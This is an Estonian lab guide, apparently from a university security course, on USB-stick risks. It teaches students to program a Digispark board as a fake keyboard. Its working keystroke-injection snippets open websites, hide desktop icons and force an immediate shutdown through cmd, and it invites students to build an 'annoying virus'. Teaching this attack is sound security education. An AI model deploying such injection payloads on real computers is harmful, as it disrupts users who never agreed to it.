Mälupulgad ning nendega seonduvad ohud
Mida teeksid Sina, kui Sa leiaksid maast võõra mälupulga? Paneksid selle enda koduarvutisse, et uurida mida huvitavat sellel leidub? Või hoopis tööarvutisse? Kõige targem on siiski mitte lasta uudishimul võitu saada ning viia see mälupulk lähimasse punkti, kust inimene, kes selle ära kaotas, võiks üles leida. Seda seepärast, et mälupulga algupärane omanik võib olla keegi pahatahtlik isik, kes võis nakatada pulka pahatahtliku koodiga, mis arvutiga ühendudes hakkab selles palju pahandust korraldama.
Mis on Digispark?
Digispark on USB-seade, millel on oma protsessor. Lisaks andmete salvestamisele (tegelikkuses väga väike mälumaht) suudab Digispark ka lihtsamaid käsklusi käivitada. Kuna arvuti tunneb seadme ära klaviatuurina, siis töötab see enamike operatsioonisüsteemidega ning jääb tuvastamatuks ka viirustõrjeprogrammidel. Ebays on Digisparki hind 2 eurot.
Töö käik
Mitte panna teile antavaid mälupulki enne arvutisse, kui juhendis on vastavalt öeldud, muidu võib arvuti hakata "lollusi" tegema.
Keskkonna seadistamine:
1.1) Mine Arduino.cc lehele, tõmba alla ning installeeri Arduino tarkvara. Seejärel käivita installeeritud programm.
1.2) File
-> Preferences
1.3) Additional Boards Manager URLs järel olevasse lahtrisse lisa aadress "http://digistump.com/package_digistump_index.json"
1.4) Tools
-> Board...
-> Boards Manager
1.5) Kirjuta otsingusse "Digistump AVR Boards" ning installeeri see. Pärast installeerimise lõppu sulge aken.
1.6) Tools
-> Board...
-> Digispark (Default - 16.5 mhz)
Digisparki programmeerimine:
2.1) Kopeeri järgnev programmijupp enda keskkonda SIIT
2.2) Vajuta nupule
2.3) Oota kuni alumisse kasti ilmub tekst:
Nüüd peaks hakkama mälupulga LED-tuluke vilkuma, pärast seda ühendage pulk arvuti küljest lahti.
Raskemad käsklused
Tulukese vilkumine ei tundu ilmselt eriti ohtlik, seega kirjutame programmi, mis võib veidi anda aimu, milleks võõrad USB-pulgad on tegelikult suutelised.
3.1) Kustuta olemasolev kood
3.2) Kopeeri SIIT failist koodijupp enda keskkonda. Katsu ära arvata, mida järgnev kood teeb! Seejärel käivita kood vajutades nuppu ning ühenda Digispark arvutiga pärast lubavat teadet. NB! programm lõpetab oma töö, kui seade arvuti küljest lahti ühendada.
3.3) Nüüd on aeg luua enda viirus oma äranägemise järgi. Allpool on käsklused koos täpsema seletusega, mis vastavad koodiread teevad.
internetilehekülje avamine:
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
delay(200);
DigiKeyboard.println("chrome www.cs.ut.ee");
//avatakse Google Chrome brauseris lehekülg www.cs.ut.ee, proovi ka mõnda muud lehekülge avada!
Akna vahetamine:
DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_ALT_LEFT);
DigiKeyboard.delay(1000);
//klaviatuurile antakse käsk ALT
+ TAB
,
//mis vahetab aktiivseid aknaid (proovi enne käsitsi järele)
Uue töölaua tekitamine:
DigiKeyboard.sendKeyStroke(KEY_D, MOD_CONTROL_LEFT + MOD_GUI_LEFT);
//klaviatuurile antakse käsk CTRL
+ windowsi nupp
+ TAB
, avab uue töölaua (kõik aknad jäävad vanale töölauale,
//saate tagasi kui vajutada windowsi nupp
+ TAB
ning vajutada hiirega Desktop 1
(töölaud 1) peale.
Töölaua ikoonide peitmine:
DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
delay(200);
DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT);
delay(200);
DigiKeyboard.sendKeyStroke(KEY_DOWN_ARROW);
delay(200);
DigiKeyboard.sendKeyStroke(KEY_RIGHT_ARROW);
delay(200);
DigiKeyboard.sendKeyStroke(KEY_UP_ARROW);
delay(200);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(200);
//vajutatakse järjest windowsi nupp
+ D
, Shift
+ F10
, allanool
, paremnool
, ülesnool
ja enter
//samade käsklustega ilmuvad ikoonid töölauale tagasi, tuleb oodata õiget hetke, mil pulk arvutist eemaldada.
Arvuti sulgemine:
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
delay(200);
DigiKeyboard.print("cmd");
delay(200);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
delay(200);
DigiKeyboard.println("shutdown /s /t 0");'
//shutdown käsk koos parameetritega sisestatakse windowsi käsureale ning mõne hetke pärast arvuti sulgub
Katsu nüüd kombineerida erinevaid käske ning luua eriliselt tüütu viirus!
Lisalugemine: Stuxnet
Kõige parem näide USB-kandjal levinud viirusest on nimega Stuxnet, pahavara, mis loodi spetsiaalselt Iraani tuumaprogrammis kasutatavate arvutite ning programmide vastu. Kuna rünnatavad arvutid ei olnud ühendatud internetti, siis ründajate taktika oligi USB-pulkade puistamine ümber rajatise, kus tuumaprogrammi arendamine toimus. Seejärel oli vaid aja küsimus, mil mõni uudishimulik töötaja nakatunud pulga mõne sisevõrgu arvutiga ühendas. Arvatakse, et rünnaku taga oli USA riik. (allikas)
USB riistvara programmeerimise kohta on tänaseks valminud Tartu Ülikooli arvutiteaduse instituudi ja Tartu häkkerikoja koostöös mini-MOOC koos vastavate detailsete õpetustega. Õpetustega saate tutvuda Tartu häkkerikoja kodulehel. http://hackest.org/usb ja Tartu ülikooli LTAT.06.002 Andmeturve kursuse materjalidest https://courses.cs.ut.ee/2020/turve/spring/Main/Praktikum13